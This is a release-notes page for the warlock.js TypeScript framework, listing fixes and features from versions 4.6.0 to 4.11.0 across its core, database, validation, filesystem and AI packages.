                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-toolsChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-workspaceChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/ai-xaiChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/fsChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/heraldChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/loggerChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/notificationsChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/schedulerChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    @warlock.js/sealChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    create-warlockChanged 1
                                    • ChangedDeclares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
                                    4.11.0
                                    August 10, 2026

                                    @warlock.js/core fixes four cases where the framework reported success it had not verified: a production bundle that imported a package your app never declared and so could not boot under pnpm, env() returning its default inside warlock.config.ts, warlock start printing its started banner before the app had booted, and a storage connector that could not start an app shipping no src/config/storage.ts. Also raises @mongez/dotenv to ^1.3.1.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreAdded 4Changed 1Fixed 5Deprecated 1
                                    • AddedstartHttpTestServer({ port }) — run an integration suite on an explicit port, honoured over HTTP_PORT in .env, which the internal bootstrap re-reads and no caller could previously override
                                    • Addedthe test server preflights its port and fails with "stop the dev server" naming the port, instead of a raw EADDRINUSE from inside Fastify
                                    • AddedApplication.setServedPort() and a port field on the readiness signal, so a supervisor learns the bound http port from the app rather than re-deriving it from config it may not be able to read
                                    • AddedsetConfig(name, value) — the write side of the config store, exported separately from the read-only config accessor so registering configuration stays a deliberate boot-time act
                                    • Changed@mongez/dotenv is now required at ^1.3.1 (was ^1.2.4). Under the old range a fresh install resolved to 1.3.x while an existing lockfile could stay on 1.2.x, so we could not say which behaviour a given consumer actually had. 1.3.x only changes cases that were previously wrong: env() now consults process.env instead of returning a default for a key the environment defines, ${VAR} interpolation throws naming the key instead of baking the string "undefined" into a value, and numeric coercion no longer corrupts values like 0123456789 or IDs beyond 2^53. Precedence between .env files and injected variables is unchanged
                                    • FixedA production bundle no longer imports a package your app does not declare. warlock build's generated config loader emitted import config from "@mongez/config" — one of _core's_ dependencies, never the app's. npm and yarn hoist flat so it resolved by accident; under pnpm's strict layout the shipped bundle died at boot with ERR_MODULE_NOT_FOUND for a package the app had no reason to install. The generator now emits setConfig from @warlock.js/core, which the app does declare, and Node resolves @mongez/config from core's own install — correct under pnpm, and portable, unlike baking absolute paths into an artifact meant to be copied between machines
                                    • Fixedenv() inside warlock.config.ts no longer always returns its default. The config module was evaluated _before_ any .env file was read, so a project following the documented build: { outdir: env("BUILD_OUT", "dist") } recipe silently got dist no matter what the environment said — under every command, dev included, and under build and start env was never loaded at all. Env files are now loaded before warlock.config.ts is evaluated, for every command
                                    • FixedAn application without src/config/storage.ts can boot again. The storage connector starts unconditionally, on the documented grounds that storage.init() falls back to a built-in local driver so file storage works out of the box. That fallback was never implemented: init() resolved the default driver _name_ and then found nothing registered under it, so any app without a storage config died at boot with Storage driver "local" is not configured. A built-in local driver rooted at uploadsPath() is now registered before configured drivers — so an app defining its own local still overrides it, and naming a driver that genuinely does not exist still fails loudly
                                    • FixedstartHttpTestServer no longer breaks a suite that configures http.port: 0. 0 is the OS's "pick a free port for me" idiom, but the guard only checked typeof port !== "number", so 0 fell through: the preflight bound an unrelated ephemeral port and passed without proving anything, and 0 was then published as the bound port, pointing every request in the suite at http://host:0. An explicit 0 now takes the same path as no configured port — no preflight, nothing published, Fastify picks the port
                                    • Fixedwarlock start no longer claims success before the app has booted. The startup banner printed in preAction — before the child process was even spawned — and the failure that followed went only to stderr. Any CI gate or process supervisor that watches stdout for the banner read a 🔴 boot failure as a healthy start, which is how a production app that never booted was recorded as running. The banner now prints only when the application reports a completed boot, and a child that dies before reporting is a failed start: the message goes to both stdout and stderr, and the exit code is forced non-zero even when the process itself exited 0
                                    • Deprecatedthe env preloader flag on a CLI command is no longer read — env is loaded for every command that declares a preload block. Setting it is harmless and does nothing; remove it. Dropped at 5.0
                                    4.10.0
                                    August 9, 2026

                                    @warlock.js/core makes response.cookie secure by default — httpOnly, sameSite: "lax", and secure outside development are applied unless you override them. Nothing set them before, so a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer passed three flags on every call; nothing failed when they were missing. @warlock.js/auth documents two things that were previously only findable by reading source: that authMiddleware gates on flat user-type matching and points at @warlock.js/access for permission matrices and who-may-act-on-whom policies, and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreChanged 1
                                    • Changedresponse.cookie is now secure by default — httpOnly: true, sameSite: "lax", and secure: true outside development are applied unless overridden. Previously nothing set them: a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer knew to pass three flags on every call. Nothing failed when they were missing, so the app worked and was simply insecure. Precedence is framework defaults → http.cookies.options → the per-call argument, so opting out stays possible and explicit. secure is relaxed only in development, because browsers drop a Secure cookie over plain http
                                    @warlock.js/authChanged 1
                                    • Changedprotect-routes documents two things that were previously only discoverable by reading source: that authMiddleware gates on user type by flat string match and cannot express a permission matrix, role hierarchy, or who-may-act-on-whom — with a worked pointer to @warlock.js/access (gate, can, definePolicy) for exactly that; and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work rather than an omission
                                    4.9.2
                                    August 9, 2026

                                    @warlock.js/cascade fixes migrate:rollback running down() migrations in *apply* order — the rollback list was reversed and then re-sorted ascending, putting it straight back, so any batch with more than one migration could drop a table before dropping the column added to it. @warlock.js/seal fixes v.literal(""), which could never pass because every validator is required by default and "" counts as empty — while .optional() looked like a workaround but silently disabled the literal check entirely; seal also stops returning the rejected input as data on a failed validation, closing a leak where an outbound DTO's internal fields reached callers who didn't branch on isValid, and fixes v.number().toFixed(n), which returned a string its own number rule then rejected. @warlock.js/core stops the generated dev-server loader hook shipping bare esbuild / get-tsconfig imports into your project, which broke warlock dev on pnpm's strict layout.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/cascadeFixed 2
                                    • Fixedmigrate:rollback and migrate:rollback --all ran down() migrations in apply order instead of reverse. getMigrationsToRollback reversed the executed list and then re-sorted it ascending, which put it straight back into forward order and made the reverse dead code — so a rollback would drop a table before dropping the column added to it, failing with relation "…" does not exist. Any batch containing more than one migration was affected; single-migration batches hid it because one item has no order to get wrong
                                    • Fixedmigration ordering now lives in migration-order.ts with an explicit sortMigrationsForRollback. The descending sort is required, not cosmetic: the executed list is read back ordered by batch, name, so it is alphabetical rather than chronological and simply _not_ re-sorting after the reverse would have produced reverse-alphabetical order — a different wrong answer
                                    @warlock.js/sealFixed 4
                                    • Fixedv.literal("") could never pass. Every validator is required by default and required rejects anything the empty-value check calls empty — which includes "" — so a schema demanding an exact empty string reported "is required" for a field that was present. A literal set containing an empty value now uses present (the key must exist) instead of required, leaving the literal set to judge the value. Only the empty string was affected; v.literal(0) and v.literal(false) always worked
                                    • Fixedv.literal("").optional() silently disabled the literal check rather than fixing it, accepting "", null and a missing key alike. The literal rule now runs on empty values (requiresValue: false) while treating absence as the required/present rule's question, so .optional() means optional again and a present value must still match
                                    • Fixeda failed validation no longer returns the input it rejected. object returned the raw input — including the unknown keys it had just complained about — while discriminatedUnion returned undefined; the same call shape had two contracts. Validating an outbound DTO to keep internal fields out of a response, then reading data without branching on isValid, shipped every field the schema existed to exclude. data is now undefined whenever isValid is false
                                    • Fixedv.number().toFixed(n) could never produce a valid result — the mutator returned Number(value).toFixed(n), a _string_, which the validator's own number type rule then rejected. It now yields a number (3.14159 → 3.14), so the method works where it lives. No working code can have depended on the old output, since every such validation failed; for a fixed-point _string_, format at the presentation edge rather than asking a number schema to emit one
                                    @warlock.js/coreFixed 1
                                    • Fixedthe dev server's generated .warlock/loader-hook.mjs no longer ships bare esbuild / get-tsconfig imports. That file is written into the consuming app's directory, so a bare specifier resolves from the app — but both packages are core's own dependencies. npm and yarn hoist flat so it worked by accident; under pnpm's strict layout the dev server died with ERR_MODULE_NOT_FOUND for a package the app never imported. Each npm specifier is now rewritten at generation time to an absolute path resolved from core's own install, so no consumer has to declare a phantom dependency
                                    4.9.1
                                    August 6, 2026

                                    @warlock.js/cascade fixes a silent data-loss bug in .save({ merge }): a Date written over a column that already held a Date was discarded — the dirty tracker treated any typeof "object" value as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the column never went dirty. save() returned { success: true, modifiedCount: 0 } and issued no UPDATE. Only plain objects deep-merge now; Date, Map, Set and every other class instance replace.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/cascadeFixed 1
                                    • Fixedsave({ merge }) silently dropped a Date written over a column that already held a Date — the dirty tracker's merge treated anything typeof "object" as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the old value survived. The column never went dirty and save() returned { success: true, modifiedCount: 0 } without issuing an UPDATE. Only plain objects deep-merge now; Date, Map, Set, RegExp and every other class instance replace, matching what model.data already did. Writing into an empty column always worked, so only overwrites were affected
                                    4.9.0
                                    August 6, 2026

                                    @warlock.js/core's dev server now runs supervised — a thin parent respawns the server instead of stacking a process per restart — and restarts itself when warlock.config.ts or .env changes, with keyboard shortcuts (r restart, c clear, q quit, h help, u update-and-restart), crash recovery, Bun lockfile support in update / add, new update --dry-run / --check flags, and an honest offline update check that no longer reports "already up to date" when npm was never reached. @warlock.js/cascade fixes migrations running in filename order instead of chronological order on a fresh database — the sort parsed timestamps with new Date(), which cannot read the framework's own MM-DD-YYYY_HH-MM-SS stamp, so every one collapsed to the alphabetical tiebreaker. The release also fixes build.outDirectory — the name the docs used for several releases while only build.outdir was ever read, so a config written from the documentation was silently ignored. @warlock.js/ai workflow run steps now correctly nest a directly-invoked agent (workflow → agent → tool) instead of producing two disconnected top-level traces, and @warlock.js/ai-openai now defaults reasoning_effort to "none" automatically whenever a reasoning-capable model is called with tools, closing the gap that left tool calls broken on gpt-5 / o-series models unless every call site opted in by hand.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreAdded 7Changed 1Fixed 6
                                    • Addedwarlock dev keyboard shortcuts — r restart, c clear, q quit, h help — armed once the server is ready and listed by h. TTY-gated, and Ctrl+C keeps working while raw mode is held
                                    • Addedpress u on the warlock dev update notice to update every @warlock.js/* dependency, install, and restart the server in place — no Ctrl+C round-trip. Falls back to the printed npx warlock update command when the terminal can't deliver keypresses (CI, piped stdin, supervisors)
                                    • Addedwarlock dev now runs as a supervised pair — a thin parent that owns the terminal and a disposable worker — so restarting replaces the worker instead of stacking a process per restart, and the supervisor never loads config or connectors
                                    • Addedwarlock dev restarts automatically when warlock.config.ts or any .env* changes, since neither can be hot-reloaded; opt out with devServer.restartOnConfigChange: false for the previous warning
                                    • AddedBun support in warlock update and warlock add — bun.lock / bun.lockb are detected and drive bun install / bun add
                                    • Addedwarlock dev recovers from a crash: a worker that dies after running healthily for 5s is replaced automatically, while one that dies during boot is left alone so its error isn't buried under a reprint. Capped at 3 crashes per minute
                                    • Addedwarlock update --dry-run reports what would change without touching anything, and --check does the same but exits 1 when a package is behind — a CI gate for staying current
                                    • Changedthe dev-server update check remembers npm's answer for 24h in .warlock/update-check.json, so a day of restarts costs one lookup instead of one per boot; failed lookups are never cached, and the entry is dropped once an update is applied
                                    • Fixedwarlock start spawns process.execPath instead of a bare node, which failed with ENOENT wherever node is not on PATH (systemd units, cron, slim containers) and could otherwise pick a different Node version than the one running the CLI
                                    • Fixedwarlock add no longer carries its own package-manager detection that silently produced an undefined install command when the project had no recognised lockfile — it shares the updater's detection
                                    • Fixedbuild.outDirectory — the name the docs have used for several releases — is now actually read. Only build.outdir ever was, so a config written from the documentation was silently ignored and the bundle still went to dist/. Both names now work (outdir wins if you set both) and the docs lead with outdir
                                    • Fixedwarlock update no longer reports "All @warlock.js packages are already up to date" when it never reached the npm registry — an offline run now says so and changes nothing
                                    • Fixeda failed package-manager install during warlock update no longer loses the rewritten package.json; the CLI still exits non-zero
                                    • Fixedthe dev server's update check now uses a 5s abort budget instead of 30s, so a hanging network can't leave a pending request behind a running server
                                    @warlock.js/cascadeFixed 2
                                    • Fixedmigrations ran in filename order instead of chronological order on any fresh database. SQLGrammar.sort — the comparator that decides execution order across every pending migration — parsed createdAt with new Date(), which cannot read the MM-DD-YYYY_HH-MM-SS stamp the framework's own generator produces; every timestamp became NaN, was floored to 0, and the alphabetical tiebreaker silently decided the whole ordering. A January 2026 migration would run before a December 2025 one
                                    • FixedparseCreatedAt now lives in its own module and backs both migration comparators through a shared compareCreatedAt, so the two can no longer drift apart — one of them being wrong was the symptom, two comparators sorting the same data by different rules was the defect
                                    @warlock.js/aiAdded 1Fixed 1
                                    • AddedStepSnapshot.children — reports a workflow run step captured from any executable its callback invoked DIRECTLY (agent.execute(...) rather than the declarative agent: field), via the same ambient RunFrame a supervisor/team/orchestrator callback already gets. report.children now includes these alongside step.agent reports.
                                    • FixedA workflow run step that calls agent.execute() directly no longer produces two disconnected top-level traces (one "agent", one "workflow") with the agent missing from report.children — it now nests correctly (workflow → agent → tool, usage/cost rolled up) and no longer also self-routes as a separate observed trace. Declarative step.agent was already correct; this closes the gap for ad-hoc calls inside run (self-documented in workflow/engine.ts as a known limitation).
                                    @warlock.js/ai-openaiFixed 1
                                    • Fixedreasoning_effort now defaults to "none" automatically on a reasoning-capable model called WITH tools and no explicit reasoning.effort — previously this required every call site to opt in (added in 4.8.0), so any agent/model config that didn't know to pass it kept hitting rejected tool calls (empty replies, or a hard 400 on newer model generations — "Function tools with reasoning_effort are not supported ... in /v1/chat/completions"). An explicit reasoning.effort still overrides the default in either direction; calls with no tools are unaffected.
                                    4.8.2
                                    July 22, 2026

                                    @warlock.js/ai-panoptic's dashboard gains an "Evaluate system prompt" drawer action — its first write-capable route — plus a round of dashboard reliability fixes (auth-token forwarding, a silent cache-store failure hook) and a @warlock.js/ai peer-dependency / redact() hardening pass.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/ai-panopticAdded 2Fixed 2
                                    • AddedDashboardOptions.evaluate — an "Evaluate system prompt" drawer action that grades a trace's last captured system prompt via an LLM judge, editable per-run instructions included; the dashboard's first and only write-capable route (POST .../spans/:spanId/evaluate), off unless configured and gated by the same authToken / allowedHosts checks as every other route
                                    • AddedevaluateSystemPrompt / extractLastSystemPrompt / findSpanById — the building blocks behind the drawer action, exported for scripting a grade outside the UI
                                    • FixedThe dashboard's client-side poll (GET {basePath}api/aggregate / api/traces) now carries the page's ?token= as an Authorization: Bearer header on every request — previously, once authToken was configured the initial page load succeeded (the browser's navigation request carries the query string) but every subsequent 2s poll had no auth attached and 401'd forever, leaving the dashboard stuck on an empty/error state despite loading successfully
                                    • FixedPanopticConfig.cache failures (hydrate-on-startup or write-through — bad URL, unreachable Redis, auth failure) are no longer swallowed into total silence: a new PanopticConfig.onError hook fires on every failure, defaulting to log.error("ai-panoptic", "cacheStore", error) when not supplied, so a misconfigured cache driver now surfaces in logs instead of leaving the dashboard permanently empty with zero diagnostic
                                    @warlock.js/aiAdded 1Fixed 2
                                    • AddedjudgePromptBody / formatCriteria / JudgeOutcome — the LLM-as-judge building blocks ai.prompts().validate() already used internally are now public, so other packages (@warlock.js/ai-panoptic's trace-level system-prompt evaluation) can grade arbitrary prompt text against a model + rubric without a second judging implementation
                                    • Fixedredact() no longer collapses a raw Error (or an Error nested in a cause chain) to {} — name / message / stack aren't own-enumerable on Error instances, so the previous Object.entries() walk saw none of them. This was silently dropping tool/agent error cause detail wherever redact() runs it, including @warlock.js/ai-panoptic's trace cause field (a failed tool's ToolExecutionError.cause showed as an empty object in the dashboard instead of the underlying thrown error)
                                    • Fixed@warlock.js/ai-openai and pdf-parse declared as optional peerDependencies — both are lazily import()ed (the skills-catalog embedder probe; ai.rag.loadPdf) but weren't listed in either dependencies or peerDependencies, so pkgist's bundler vendored their source directly into ai's own build instead of leaving them external (the same split-brain class of bug as core's missing @warlock.js/ai peerDependency, fixed in 4.8.1). For @warlock.js/ai-openai specifically this meant the skills-catalog embedder-installed probe always resolved against the vendored copy bundled into ai, so it reported an embedder provider as "installed" even when the app never installed @warlock.js/ai-openai itself
                                    4.8.1
                                    July 21, 2026

                                    Fixes a split-brain bug where @warlock.js/core's bundler vendored its own disconnected copy of @warlock.js/ai (and the same gap for @warlock.js/access / @warlock.js/notifications) because they weren't declared as peer dependencies — the vendored copy's config never reached listeners (e.g. ai-panoptic's dashboard) registered against the real installed package. Also logs previously-swallowed onConfigApplied listener errors in @warlock.js/ai.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreFixed 1
                                    • Fixed@warlock.js/ai, @warlock.js/access, and @warlock.js/notifications declared as optional peerDependencies (matching the existing @warlock.js/herald pattern) so pkgist's bundler leaves them external instead of vendoring their source into core's own build — a vendored @warlock.js/ai copy was a disconnected module instance whose config listeners (e.g. ai-panoptic's dashboard wiring) never received ai.config(...) calls routed through the real, separately-installed package
                                    @warlock.js/aiFixed 1
                                    • FixedsetAIConfig's onConfigApplied listener notification no longer swallows a misbehaving listener's exception silently — it's now logged via log.error("ai", "configListener", error)
                                    4.8.0
                                    July 19, 2026

                                    A new reasoning: { effort: "none" } level in @warlock.js/ai runs a reasoning model without reasoning, explicitly — @warlock.js/ai-openai emits reasoning_effort: "none" so OpenAI gpt-5 / o-series models accept function tools instead of returning empty replies, and the budget-based adapters (@warlock.js/ai-anthropic, @warlock.js/ai-google, @warlock.js/ai-ollama) map it to reasoning-off.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/ai-openaiAdded 1
                                    • Addedreasoning: { effort: "none" } now emits reasoning_effort: "none" on the wire — unblocks function tools on gpt-5 / o-series reasoning models, which otherwise reject tools on Chat Completions while reasoning is active and return empty replies.
                                    @warlock.js/aiAdded 1
                                    • Addedreasoning: { effort: "none" } — a neutral "run without reasoning, explicitly" level on ReasoningEffort; OpenAI emits reasoning_effort: "none" so gpt-5 / o-series accept function tools, and budget-based adapters (Anthropic / Bedrock / Google / Ollama) disable thinking.
                                    @warlock.js/ai-anthropicChanged 1
                                    • Changedreasoning: { effort: "none" } disables extended thinking (emits no thinking block) — the neutral "run without reasoning" level, consistent across adapters.
                                    @warlock.js/ai-googleChanged 1
                                    • Changedreasoning: { effort: "none" } maps to thinkingBudget: 0 — Gemini's native reasoning-off switch, the neutral "run without reasoning" level.
                                    @warlock.js/ai-ollamaChanged 1
                                    • Changedreasoning: { effort: "none" } maps to think: false — the neutral "run without reasoning" level, consistent across adapters.
                                    4.7.0
                                    July 6, 2026

                                    @warlock.js/ai gains the prompt compiler — systemPrompt().refined({ model, criteria, store }) lazily rewrites human-authored prompt text into a model-optimized version, pinned like a lockfile with machine-enforced placeholder parity and an always-safe fallback to the original — plus ai.prompts.validate({ criteria }) to grade a prompt against your own rules. @warlock.js/fs gains an ergonomic async fs facade — fs.files.* / fs.dirs.* grouping, lazy File / Directory handles, read-modify-write helpers (edit / editJson / mergeJson), recursive walk, and zero-dependency schema-validated JSON. @warlock.js/cascade lands a driver-correctness pass — a dozen real Postgres/MongoDB driver fixes (multi-row findAndUpdate, where-scoped update / unset / deleteOne, pivot detach, MongoDB with() eager-loading, per-subclass global scopes) plus new lockForUpdate({ skipLocked }) row locking (FOR UPDATE SKIP LOCKED).

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/aiAdded 2
                                    • AddedsystemPrompt().refined({ model, criteria, store }) — the prompt compiler. Humans keep writing human prompt text; the refined wrapper lazily rewrites it into a model-optimized version on first agent use and pins the result like a lockfile (re-compiled only when the source text, refiner model, criteria, or recipe version change — never silently). await refined.refine() returns the compiled template string (placeholders intact — routes / previews / warmup / CI; throws PromptRefinementError on failure) and await refined.refinePrompt() returns a composable prompt with meta.refinedFrom / meta.refinerModel provenance (register it to diff original vs refined). Placeholder parity is machine-enforced (one repair re-ask, then rejected); the lazy agent path never throws — it warns once and serves the original.
                                    • Addedai.prompts.validate({ criteria }) — validate a prompt against your own rules. Pass criteria (a string or a list of short rules) and, when a judge model is supplied, it replaces the built-in quality rubric so the judge's score / issues reflect your criteria (a failed rule is named in issues). Advisory only — never flips the deterministic ok; folded into the judgeCache key so different rules re-run.
                                    @warlock.js/fsAdded 7
                                    • Addedfs shorthand facade — an async, ergonomic surface over the primitives: fs.files.* (file ops), fs.dirs.* (directory ops), lazy fs.file(path) / fs.dir(path) handles (File / Directory classes), and fs.exists(path) (type-agnostic). Delegates to the existing *Async primitives; synchronous callers keep using the bare primitives (the bare = sync / *Async = async charter is unchanged)
                                    • AddedNew file ops on the facade: append / prepend / appendLine / appendJsonLine (NDJSON), size, isEmpty, ensure (create-if-missing, never truncates), touch, edit (read → transform → write), editJson, mergeJson (shallow, or { deep: true }), ensureJson (get-or-create), checksumMatches, readLines (streaming async iterator), and an EXDEV-safe move (creates the destination parent, falls back to copy+unlink across devices)
                                    • AddedNew directory ops on the facade: empty (emptyDir), size (recursive byte sum), count, isEmpty, walk (constant-memory async iterator of { path, name, type }), a recursive option on list / listFiles / listDirs, and hash (stable directory fingerprint)
                                    • Addedfs.files.getJson(path, { schema }) — validate parsed JSON against any Standard Schema validator (seal / zod / valibot) with zero dependency (calls the schema's own ~standard.validate); throws JsonSchemaValidationError on failure. { default } returns a fallback when the file is missing
                                    • AddedFile / Directory handles are lazy (no IO in the constructor) and immutable (copy / move / rename / copyTo / moveTo return a NEW handle); pure-path helpers name / basename / extension / parent() and child file(...) / dir(...); Directory.listFiles() / listDirs() return File[] / Directory[]
                                    • Addedfs.hash namespace — fs.hash.string / fs.hash.buffer (sync, pure/in-memory) and fs.hash.file / fs.hash.dir (async, read from disk)
                                    • Addedfs.files.get() is overloaded: a text read returns string (no cast); pass { encoding: null } for a Buffer
                                    @warlock.js/cascadeAdded 2Fixed 11
                                    • AddedlockForUpdate({ skipLocked?, noWait? }) — row locking on SELECT (FOR UPDATE [SKIP LOCKED | NOWAIT]), the concurrent job-queue claim shape; Postgres-only, the MongoDB driver throws
                                    • AddedDatabaseDriverContract.supportsSqlSerialization — capability flag (default true); false routes the MigrationRunner through direct migration-driver execution
                                    • FixedPostgres model-level sum/avg/min/max/distinct/countDistinct/pluck/value no longer return 0/undefined — the hydration callback is reset before reading, matching MongoDB
                                    • FixedPostgres Model.findAndUpdate / Model.atomic now update every matching row instead of one arbitrary row (a hidden LIMIT 1; MongoDB was already multi-row)
                                    • FixedPostgres query-builder update() / unset() now honor the chained where filter — previously they updated the whole table
                                    • FixedPostgres query-builder deleteOne() deletes exactly one row — the internal limit(1) was silently ignored, deleting every matching row
                                    • FixedPostgres pivot detach(ids) (and sync / toggle) works — the driver translates Mongo-style filter operators ($in, $nin, $eq, $ne, $gt, $gte, $lt, $lte) instead of binding the operator object literally
                                    • FixedCHECK constraints are no longer silently dropped on the MigrationRunner SQL path — the Postgres serializer emits ADD CONSTRAINT ... CHECK for this.check(...) and column .check(...)
                                    • FixedMongoDB with() eager loading is no longer a silent no-op — get() runs the relation loader, same wiring as Postgres
                                    • FixedMongoDB pipelines order $match before $project (SQL semantics), so select() before where() no longer strips the filter column and returns [] — fixes pivot attach de-duplication and sync / toggle deltas
                                    • FixedThe MigrationRunner works on MongoDB — migrations execute directly through the migration driver; exportSQL stays SQL-only with a clear unsupported error
                                    • FixedMongoDB dropIndex(table, name) honors the literal index name — the string form is no longer rewritten to <name>_1 (the columns-array form keeps the convention name)
                                    • FixedaddGlobalScope / addLocalScope register per-subclass — a scope added on one model (e.g. a soft-delete notDeleted) no longer leaks onto every other model
                                    create-warlockAdded 2Changed 1
                                    • AddedNon-interactive scaffolding — create-warlock <name> --yes (with --db, --pm, --features, --ai, --git, --jwt) scaffolds the entire app in a single command, no prompts
                                    • Added--db=none / --no-db and a None option in the database prompt — scaffold with no database: the driver, its package, and src/config/database.ts are all skipped
                                    • ChangedStarter models drop the baked-in globalColumnsSchema audit columns (createdBy / updatedBy / deletedBy / isActive) — global columns are left to the developer
                                    4.6.1
                                    July 1, 2026

                                    A production-hardening patch across @warlock.js/core, @warlock.js/logger, and @warlock.js/cascade — a fatal boot error now fails loudly instead of exiting 0, native Postgres array columns (TEXT[] / JSONB[]) work with no configuration, and a nested transaction() joins the active transaction instead of opening an isolated one that can't see its writes.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/cascadeFixed 2
                                    • FixedNative Postgres array columns (TEXT[] / JSONB[], from arrayText() / arrayJson()) are now auto-detected by introspecting the schema on connect and bound as raw arrays — no more "malformed array literal" on insert and no need to hand-list nativeArrayColumns (which stays as an optional per-connection override, now consulted per-table)
                                    • Fixedtransaction() now flat-nests: a nested transaction() joins the active one (same session, sees its uncommitted writes) instead of opening a second, independent transaction — fixes phantom foreign-key violations when a service that opens its own transaction is called inside an outer one (e.g. a seeder creating a row, then a service inserting a child that references it). MongoDB joins too, replacing its "nested not supported" throw
                                    @warlock.js/coreFixed 1
                                    • Fixeda fatal uncaughtException at production boot (e.g. a config file that throws) is no longer swallowed into a silent exit 0 — bootstrap now wires the crash handler to exit non-zero in production so warlock start surfaces the failure; the dev server still logs-and-continues for HMR
                                    @warlock.js/loggerChanged 1
                                    • ChangedcaptureAnyUnhandledRejection() now exits the process non-zero after an uncaughtException (and prints the stack to console.error when no terminal channel is configured) so a fatal error at boot is never silently swallowed into a clean exit 0 — opt out with { exitOnUncaughtException: false } where the process recovers on its own (e.g. a dev server using HMR). unhandledRejection is unchanged (logged at error, never exits).
                                    4.6.0
                                    July 1, 2026

                                    The AI framework closes every remaining capability gap. Output modalities land — ai.image(), ai.speech(), and ai.transcribe(), plus the new @warlock.js/ai-live package for ai.realtime() duplex voice + ai.video(). RAG gains first-party vector stores and document loaders (ai.rag.pgVectorStore on Postgres/pgvector, ai.rag.loadWeb / loadPdf / loadHtml / loadText). Durable mid-run crash-resume comes to agents and planners (agent.resume() / planner.resume() via an opt-in durable store). And provider breadth doubles with four new OpenAI-compatible adapters — @warlock.js/ai-mistral, ai-groq, ai-deepseek, and ai-xai.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/aiAdded 9
                                    • Addedai.image(params) — image generation, the first verb of the output-modality track (Theme I). Wraps an ImageModelContract in the uniform never-throws { data, error, usage, report } envelope, with cost-truth (per-token for gpt-image, per-image for DALL·E / Imagen) folded into the same Usage.cost rollup and a type: "image" report routed to observers. Ships on the OpenAI + Google adapters.
                                    • AddedSDKAdapterContract.image?(config) — the image-model capability seam, mirroring embedder?(). Adds ImageModelContract, GeneratedImage (discriminated base64 | url), ImageModelPricing, and ImageGenerationOptions.
                                    • AddedMockSDK().image(...) + MockImageModel — deterministic image doubles (scriptable responses, recorded calls, pricing) for tests.
                                    • Addedai.speech(params) + ai.transcribe(params) — text-to-speech and speech-to-text, the audio verbs of the modality track. Same uniform never-throws envelope + cost-truth (per-character / per-minute / per-token). New SpeechModelContract / TranscriptionModelContract on SDKAdapterContract.speech?() / transcribe?(), plus MockSpeechModel / MockTranscriptionModel.
